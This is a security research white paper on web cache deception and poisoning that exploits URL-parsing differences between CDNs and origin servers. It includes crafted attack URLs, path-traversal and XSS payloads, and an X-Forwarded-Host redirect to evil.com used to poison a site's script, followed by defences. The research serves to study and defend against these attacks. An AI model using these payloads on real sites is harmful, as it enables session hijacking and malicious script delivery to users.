Gotta Cache ‘em all

bending the rules of web cache exploitation

Martin Doyhenard - martin.doyhenard@portswigger.net - @tincho_508

Through the years, we have seen many attacks exploiting web caches to hijack sensitive information or store malicious payloads.
However, as CDNs became more popular, new discrepancies between proprietary URL parsers prove that we have only seen the tip of the iceberg.

In this paper will explore how different HTTP servers and proxies behave when parsing specially crafted URLs and explore ambiguities in the RFC that lead to path confusion. It will also introduce a set of novel techniques that can be used to leverage parser discrepancies and achieve arbitrary web cache poisoning and deception in countless websites and CDN providers.

Outline

- Background
  - Web caches
  - Poisoning and deception
- URL discrepancies
  - Delimiters
  - Normalization
- Arbitrary Web Cache Deception
  - Limitations
  - Static extensions
  - Static directories
  - Static files
- Arbitrary Web Cache Poisoning
  - Key normalization
  - Exploiting back-end delimiters
  - Exploiting front-end delimiters
- Cache-What-Where
- Defence

Background

Web caches

Web caches have been around since the beginning of the internet. This technology works by fingerprinting requests using a key, which in most cases will be built using some or all parts of the requested URL, and mapping the key with stored static responses.

In recent years, most productive systems incorporate caching by setting Content Delivery Networks (CDNs) with providers like CloudFlare, Akamai, or CloudFront. CDNs can be seen as a network of web cache proxies that are distributed around the globe. They serve static responses, increasing the efficiency and scalability of a system.

This paper focuses on URL parsing discrepancies that exist between different application servers and CDN proxies, but the same techniques can be applied to any type of web cache, including those integrated in the origin server itself.

Poisoning and deception

As web caches play a crucial role in modern systems, researchers have looked for ways to exploit them to store dynamic information. This information could be used to obtain sensitive data or deliver malicious payloads. These attacks typically target one of two processes: key generation or cache rule analysis.

Calculating the key is crucial as every request with the same fingerprint should generate the same response, regardless of when it was sent or what additional information it contains (like body or extra headers). If the response varies based on the value of a specific header, then that value should be part of the key. Storing a message with a malicious payload intended to match an incorrect key is called web cache poisoning[1].

Cache rules are designed to recognize if a response is static and should be stored. Failing to cache a static resource can affect performance, but storing a dynamic response with sensitive information meant for an authenticated user can be devastating for an application. If an attacker can craft a malicious request that retrieves and caches user data, they may be able to hijack tokens and API keys, potentially leading to a full account takeover. This is known as web cache deception[2].

URL discrepancies

To evaluate cache rules, calculate cache keys, and map endpoint handlers, the origin server must extract the absolute path of the requested resource. This is done by parsing the URL using path delimiters and normalization.

If the cache and application server's parsers are different, it may be possible to use a discrepancy to change the meaning of the URL. This may enable you to control which responses are stored and the key that is used to access them.

Delimiters

The URL RFC defines certain characters as delimiters, for example the semicolon or question mark. However the specification is quite permissive and allows each implementation to add custom characters to this list.

This research showed that many popular frameworks and HTTP servers use different characters as delimiters. This can create path confusion between the origin server and the cache parser.

Origin delimiters

The following custom delimiters are used in various application servers and frameworks:

- **Semicolon in Spring:** In many Java frameworks, including Spring, the semicolon is used as a delimiter to include matrix variables. Matrix variables can be included in each path segment and aren't interpreted as part of the absolute path.

  URL: /MyAccount;var1=val → **Path:** /MyAccount

  URL: /hello;var=a/world;var1=b;var2=c → **Path:** /hello/world

- **Dot in Rails:** Ruby on Rails allows the client to send a path with a formatter extension, which defines the view returned in the response. This is used to return different responses with different content types. If no extension is used or the extension isn't recognized by the server, the default HTML view is returned. Therefore the dot character can act as a path delimiter.

  URL: /MyAccount.html → **Path:** /MyAccount (default HTML view)

  URL: /MyAccount.css → **Path:** /MyAccount (CSS view or error if not present)

  URL: /MyAccount.aaaa → **Path:** /MyAccount (default HTML view)

- **Null encoded byte in OpenLiteSpeed:** This HTTP server uses the null encoded byte as a classic delimiter to truncate the path.

  URL: /MyAccount%00aaa → **Path:** /MyAccount

- **Newline encoded byte in Nginx:** When Nginx is configured to rewrite the request path, the encoded newline byte is used as a path delimiter. The rewrite rule must map the prefix or the URL and not the entire pathname (which is common in Nginx).

  Rule: rewrite /user/(.*) /account/$1 break;

  URL: /users/MyAccount%0aaaa → **Path:** /account/MyAccount

Detecting origin delimiters

1. Identify a non-cacheable request. Look for a request with a method that isn't idempotent, such as POST, or a response with a `Cache-Control: no-store` or `Cache-Control: private` header. The response (R0) will be used to compare the behavior of interesting characters in the URL.
2. Send the same request, only this time append a random suffix at the end of the path, for example, if the original path was `/home` send a request to `/homeabcd`. If the response (R1) is the same as R0, repeat step 1 and 2 with a different endpoint.
3. Send the same request as step 2, but include a potential delimiter before the random suffix. If the delimiter being tested is `$`, the path should look like `/home$abcd`. Compare this response (R2) with the base one (R0).
   If the messages are identical, the character or string is used as a delimiter.

To test a number of possible delimiters at once, you can use Burp Intruder with a wordlist that includes all ASCII characters. Be sure to test both unencoded and URL-encoded versions of the characters.

Detecting cache delimiters

Cache servers often don't use delimiters aside from the question mark. It's possible to test this using a static request and response:

1. Identify a cacheable request by looking for evidence that the response is retrieved from the cache. For example, by response time analysis, or by looking for an `X-Cache` header with the value `hit`. This response (R0) will be used to compare the behavior of interesting characters in the URL.
2. Send the same request with a URL path suffix followed by the possible delimiter and a random value.

   ```
   GET /static-endpoint<DELIMITER><Random>
   ```

   Compare the response with R0. If the messages are identical, the character or string is used as a delimiter.

Normalization

URL parsers are used by both the cache and origin server to extract paths for endpoint mapping, cache keys, and rules. First, path delimiters are identified to locate the start and end of the pathname. Once the path is extracted, it's normalized to its absolute form by decoding characters and removing dot-segments.

Encodings

Sometimes, a delimiter character needs to be sent for interpretation by the application rather than the HTTP parser. For such cases, the URI RFC defines URL encoding, which allows characters to be encoded to avoid modifying the meaning of the pathname.

Many HTTP servers and proxies including Nginx, Node, CloudFlare, CloudFront and Google Cloud decode certain delimiter characters before interpreting the pathname. To make things worse, this process is inconsistent. This means that the same URL will have a different meaning in the most popular CDNs and origin servers even without any custom configuration.

In addition, the RFC doesn't specify how a request should be forwarded or rewritten. Many proxies decode the URL and forward the message with the decoded values. If this occurs, the next parser may use the decoded characters as delimiters. Therefore, if the following request is received by a proxy, the %3F character will be converted to a question mark symbol

```
"/myAccount%3Fparam" → "/myAccount?param"
```

There are also many other encodings supported by different cache proxies. Even though most of them are not used by default, it is possible to configure CDNs like CloudFlare or CloudFront to apply custom transformations and decode the path for caching or access control purposes.

Detecting decoding behaviors

To test if a character is being decoded, compare a base request with its encoded version. For example:

/home/index → /%68%6f%6d%65%2f%69%6e%64%65%78

Note: It might be useful to encode each character individually, as sometimes specific characters are not decoded (like the slash or other reserved characters).

If the response is the same as the base response and wasn't obtained from the cache (no cache hit header), the origin server decodes the path before using it. If the response is cacheable, it's possible to detect the cache parser's decoding behavior. Send the original request followed by the encoded version. If both responses contain the same cache headers, it means that the second one was obtained from the proxy, and the key was decoded before being compared.

Dot-segment normalization

The URI RFC also defines how to handle dot-segments in a URL and provides a simple algorithm to normalize the path. While this feature is crucial for referencing any resource from a relative path, it's also the source of many vulnerabilities.

It's possible to exploit dot-segment normalization by leveraging the discrepancies between parsers to modify the behavior of the cache rules and obtain crafted keys. Even popular HTTP servers like Apache and Nginx resolve URLs completely differently, meaning it is impossible to use the same cache proxy without having a path confusion vulnerability.

Detecting dot-segment normalization

The following techniques can be used to detect dot-segment normalization at both the cache and the origin server. These tests can be extended using encoded path traversal payloads to know if a special decoding is applied. For this, use the same request / responses and replace the dot-segments with the encoded version.

To detect normalization in the origin server, issue a non-cacheable request (or a request with a cache buster) to a known path, then send the same message with a path traversal sequence:

GET /home/index?cacheBuster

GET **/aaa/**../home/index?cacheBuster or GET **/aaa\..**\home/index?cacheBuster

If the responses are identical, this means that the path is normalized before it's mapped with a resource. This can either happen at the origin server or before being forwarded by a proxy. Either way, the dot-segment is resolved and can be used to reference an existing resource.

To detect normalization at the web cache, repeat the same process but with a cacheable response and compare the `X-Cache` and `Cache-Control` headers to verify if the resource was obtained from the cache memory.

Normalization discrepancies

The following tables illustrate how different HTTP servers and web cache proxies normalize the path `/hello/..%2fworld`. Some resolve the path to `/world`, while others don't normalize it at all.

CloudFlare	/hello/..%2Fworld
CloudFront	/world
GCP	/hello/..%2Fworld
Azure	/world
Imperva	/world
Fastly	/hello/..%2Fworld

Apache	/hello/..%2Fworld
NginX	/world
IIS	/world
Gunicorn	/hello/..%2Fworld
OpenLite	/world
Puma	/hello/..%2Fworld

Arbitrary Web Cache Deception

When the web cache receives a response from the origin server, it must decide if the resource is static and should therefore be stored. This involves applying predefined, customizable rules to the request and response.

This section focuses on rules that use the URL to determine if a response should be cached. These are popular in production environments and most CDNs include some of these rules by default.

It's possible to use parsing discrepancies to exploit cache rules, to store dynamic responses and hijack sensitive information that was generated for a victim.
A detailed explanation of how to use discrepancies in URL mapping to create path confusion can be found in Omer Gil's white paper Web cache deception attack[3].

This white paper focuses on other types of discrepancies, which can be exploited to hijack any arbitrary response, not only those with special endpoint mapping at the origin server.

Limitations

Since the attacker needs to generate a link that's used by a victim's browser, the payload must contain safe URL characters only - those the browser won't encode before sending.

To visualize this scenario, consider the browser as a proxy that rewrites the request URL by encoding certain characters and removing segments.

Static extensions

Most CDN providers, such as CloudFlare and Akamai, store responses for resources with static extensions. This means that if the requested path ends with a string like .js or .css the cache proxy treats the response as static. It stores the response and uses it to serve other clients that request the same path.

Each CDN or cache proxy defines its own list of recognized static extensions. The image below shows those listed by CloudFlare:

7Z	CSV	GIF	MIDI	PNG	TIF	ZIP
AVI	DOC	GZ	MKV	PPT	TIFF	ZST
AVIF	DOCX	ICO	MP3	PPTX	TTF	
APK	DMG	ISO	MP4	PS	WEBM	
BIN	EJS	JAR	OGG	RAR	WEBP	
BMP	EOT	JPG	OTF	SVG	WOFF	
BZ2	EPS	JPEG	PDF	SVGZ	WOFF2	
CLASS	EXE	JS	PICT	SWF	XLS	
CSS	FLAC	MID	PLS	TAR	XLSX	

Exploiting static extensions

When a character is used as a delimiter by the origin server but not the cache, it's possible to include an arbitrary suffix to trigger a cache rule and store any sensitive response.

For example, if the dollar sign character is a delimiter in the origin server but not the proxy, the following link stores the response to `/myAccount`, allowing an attacker to hijack sensitive information:

Cache Proxy	Origin Server
/myAccount$a**.css**	/**myAccount$**a.css

You can also use the same technique with an encoded character or string. This is useful when the origin server decodes a delimiter before parsing the URL, or if the path is rewritten by the cache before forwarding the request. For example, the unencoded hashtag symbol wouldn't work for cache deception as its not sent by the browser, but if it's encoded it can be used for an exploit:

Browser	Cache Proxy	Origin Server
/myAccount**%23**a.css	/myAccount%23a**.css**	/**myAccount#**a.css

You can use a variation of this attack to exploit a discrepancy from a forwarding transformation. If multiple parsers rewrite the request, we can attack a specific cache proxy of the chain by applying multiple encodings and/or delimiters:

Load Balancer	Cache Proxy	Origin Server
/myAccount**%25%32%33**a.css	/myAccount**%23**a**.css**	/**myAccount#**a.css

Static directories

A popular rule implemented in all CDNs allows the user to create rules that match a custom URL path prefix. This can be used to let the web cache know that every resource in a specific directory is immutable and should be stored, no matter the resource name or extension.
Some common examples of static directories are:

- `/static`
- `/assets`
- `/wp-content`
- `/media`
- `/templates`
- `/public`
- `/shared`

Exploiting static directories with delimiters

If a character is used as a delimiter by the origin server but not by the cache and the cache normalizes the path before applying a static directory rule, you can hide a path traversal segment after the delimiter, which the cache will resolve:

```
GET /<Dynamic_Resource><Delimiter><Encoded_Dot_Segment><Static_Directory>
```

It's important to encode the dot-segment. Otherwise the victim's browser will resolve it and won't forward the original malicious path.

Browser	Cache Proxy	Origin Server
/myAccount$/..%2Fstatic/any	**/static/**any	**/myAccount**

Amazon CloudFront, Microsoft Azure, and Imperva normalize the path before evaluating the cache rules by default.

Exploiting static directories with normalization

When the origin server normalizes the path before mapping the endpoint and the cache doesn't normalize the path before evaluating the cache rules, you can add a path traversal segment that will only be processed by the origin server:

```
GET /<Static_Directory><Encoded_Dot_Segment><Dynamic_Resource>
```

Browser	Cache Proxy	Origin Server
/static/..%2FmyAccount	**/static/**..%2FmyAccount	**/myAccount**

Cloudflare, Google Cloud, and Fastly don't normalize the path before evaluating the cache rules. If the origin server normalizes the path before mapping the request with an endpoint handler, such as Nginx, Microsoft IIS and OpenLiteSpeed, it is possible to exploit any static directory rule.

Another normalization discrepancy arises when combining Microsoft IIS with any web cache that doesn't convert backlashes. These caches interpret encoded backslashes as regular slashes. Since no tested CDN recognizes this transformation, IIS is vulnerable when used with such products.

Cache Proxy	Origin Server
/static/..%5CmyAccount	/static/..\myAccount → **/myAccount**

Static files

Some files, like `/robots.txt`, `/favicon.ico`, and `/index.html`, might not be in a static directory or have a static extension but are expected to be immutable in every website. To store these files it is possible to create a cache rule that looks for an exact match of the filename in the path. CDNs like CloudFlare have this rule by default and always store responses for `robots.txt` or `favicon.ico`.

Exploiting static files

To exploit static file rules it is possible to use the same technique as for static directories when there is normalization at the frontend and a delimiter at backend. In this case, the static directory is replaced by the filename and a cache buster to avoid hitting a cached resource:

```
GET /<Dynamic_Resource><Delimiter><Encoded_Dot_Segment><Static_File>
```

Browser	Cache Proxy	Origin Server
/myAccount/..%2Frobots.txt	**/robots.txt**	**/myAccount**

Arbitrary Web Cache Poisoning

When a response is considered static, it's stored in the cache using a key that is derived from the original request. Any future request with the same key will be served with the stored resource.

Keys are usually generated using the URL and host header. They can be customized to use other headers or request elements.

In classic web cache poisoning, the attacker attempts to store a malicious response using a URL key that is requested by users while they navigate the vulnerable website. The more frequently the path is visited, the more victims will be affected by the malicious payload. You can read more about finding web cache poisoning vulnerabilities in James Kettle's research Practical Web Cache Poisoning[4] and Web Cache Entanglements: Novel pathways to poisoning[5].

The attack is limited, as in many cases the poisoned path is not controlled by the attacker and user interaction is required. For example, consider a URL that is never visited, either because it requires a specific parameter such as `/home?param=XSS`, or because the path itself contains the payload `/<script>alert()</script>`

However, combining path confusion with a web cache poisoning vulnerability could allow you to modify the cache key and poison a highly requested resource, like the website's homepage. In this case, there's no limitation on the characters that can be used, as the attacks don't require user interaction, which means that the payload can be sent through an HTTP editor/repeater like Burp Suite.

Key normalization

Normalizing a URL is usually considered a safe action that helps to obtain the absolute path of a requested resource. However, resolving dot-segments and encodings in a cache key could allow an attacker to poison arbitrary resources if the origin server is not interpreting the path in the same way.

All the following attacks assume that the URL is normalized before generating the cache key. This can be configured in most CDNs and is a default behavior in Microsoft Azure and Imperva.

Exploiting mapping discrepancies

When the origin server uses a special mapping or doesn't normalize the path before generating the response, it's possible to control the key used for stored resources. An classic example of this are applications that have a self-reflected XSS when an non-existing endpoint is visited.

Consider the following request/response:

```
GET /<script>X</script>
 HTTP/1.1
Host: server.com
```

```
HTTP/1.1 404 Not Found
Content-Type: text/html
Cache-Control: public

Not Found /<script>X</script>
```

The malicious payload is part of the URL and is reflected in a cacheable response. However, a valid user would never issue a request to `/<script>X</script>` if there is no interaction with the attacker. Therefore, even if the response is also accessible through the encoded version `/%3Cscript%3EX%3C/script%3E` (the key is decoded), the attacker will need to send a link to the victim, just as in a reflected XSS scenario.

However, if the key is normalized, the following payload would poison a highly visited endpoint like `/home` with the malicious response:

```
GET /<Backend_Path><Path_Traversal><Poisoned_Path>
```

URL	Cache Proxy	Origin Server
/<script>X</script>/../../home	/home	/<script>X</script>

The double dot-segment is used in this example as the payload already contains a slash. Adjust the path traversal to resolve to the desired poisoned endpoint. The same technique can be applied if a special mapping is used for the placeholder.

Exploiting back-end delimiters

When a character is used as a delimiter by the origin server but not by the cache, it's possible to generate an arbitrary key for the cacheable resource. The delimiter will stop the backend from resolving the dot-segment.

```
GET /<Backend_Path><Delimiter><Path_Traversal><Poisoned_Path>
```

URL	Cache Proxy	Origin Server
/payload$/../home	/home	/payload

Exploiting front-end delimiters

In web cache deception attacks, the parsing discrepancy was caused by a delimiter being used only in the origin server but not in the cache. Finding a character with special meaning for the cache server that can be sent through a browser is rare. However, as web cache poisoning doesn't require user interaction, delimiters like the hash can create path confusion. This is useful because fragments are interpreted differently by many HTTP servers, CDNs, and backend frameworks, as shown in the tables below:

Is # a delimiter?

Key Parser	
CloudFlare	NO
CloudFront	YES
GCP	ERROR
Azure	YES
Imperva	NO
Fastly	NO

Origin Server	
Apache	ERROR
NginX	YES
IIS	ERROR
Gunicorn	YES
OpenLite	NO
Puma	YES

Frameworks	
Spring	ERROR
Rails	YES
Django	NO
Flask	YES
Express	NO
Laravel	YES

Therefore, in cases like Microsoft Azure, which normalizes the path and treats the hash as a delimiter, it's possible to use this to modify the cache key of the stored resource:

```
GET /<Poisoned_Path><Front-End_Delimiter><Path_Traversal><Backend_Path>
```

URL	Cache Proxy	Origin Server
/home#/../payload	/home	/payload

This technique could be applied to any delimiter used by the cache. The only requirement is that the key is normalized and the path is forwarded with the suffix after the delimiter.

Cache-What-Where

When auditing a website for a pentest or bug bounty program, it's common to find vulnerabilities that aren't exploitable due to browser constraints and limitations. These issues require user interaction and can't be sent through the browser because the request needs specific crafted headers or characters in the URL that get encoded.

By combining these vulnerabilities with the previously described cache poisoning and deception techniques, an attacker could exploit them and store a malicious payload in the cache.

For example, consider a website with an open redirect where the location is generated with an `X-Forwarded-Host` header:

```
GET /home HTTP/1.1
Host: server.com
X-Forwarded-Host: evil.com
```

```
HTTP/1.1 302 Found
Location: http://evil.com/index.html
```

By itself, this redirect isn't stored in the cache, so it shouldn't be possible to poison the cache with it. However, if there's a discrepancy between the cache key and backend parser, this 'unexploitable' vulnerability could be escalated to a full domain takeover. For example, if the web application loads the `/main.js` script on the homepage, we can poison the path in the cache and redirect the browser to load a malicious script:

URL	Cache Proxy	Origin Server
/main.js#/../home	/main.js	home(with malicious header)

This forces the cache proxy into storing the redirect response to evil.com under the /main.js key. When a victim loads the homepage and tries to access the /main.js resource, a malicious redirect will obtain a JavaScript controlled by the attacker which will infect every user browser.

In an even worse scenario, the open redirect is stored due to a cache header:

```
GET /home HTTP/1.1
Host: server.com
X-Forwarded-Host: evil.com
```

```
HTTP/1.1 302 Found
Location: http://evil.com/index.html
Cache-Control: public, max-age=3600
```

In this case, the poisoned path wouldn't need a static extension and the vulnerability could be leveraged to complete arbitrary cache poisoning and full website defacement.

URL	Cache Proxy	Origin Server
/any_page#/../redirect	/any_page	redirect (cache-control public)

The same technique can be used with any other user interaction required or self reflected issue, like a self-reflected and not-exploitable XSS.

Defence

The easiest way to protect against web cache deception is to mark all dynamically generated responses with a `Cache-Control` header, set with the `no-store` and `private` directives. This tells the web cache that the resource should never be stored.

It is also important to verify that the cache rules don't have priority over the `Cache-Control` header. This can be configured in most CDNs. If it can't be configured, consider disabling the caching rules or avoid using an origin server or framework that parses the URL differently to the CDN.

To protect against cache key confusion make sure that the cache key isn't normalized and that the suffix after a cache delimiter isn't forwarded to the application server. If this isn't possible, consider switching to a different CDN or HTTP server that parses the URL in as similar a way as possible.

Takeaways

URL parsing discrepancies can be easily exploited using web cache poisoning and deception

Exploitation techniques that can be applied in countless systems and bug bounty programs

Chain web cache poisoning and deception to increase severity and obtain full site take over!

References

1. https://portswigger.net/web-security/web-cache-poisoning
2. https://portswigger.net/web-security/web-cache-deception
3. https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.pdf
4. https://portswigger.net/kb/papers/7q1e9u9a/web-cache-poisoning.pdf
5. https://portswigger.net/kb/papers/c3wwniai/web-cache-entanglement.pdf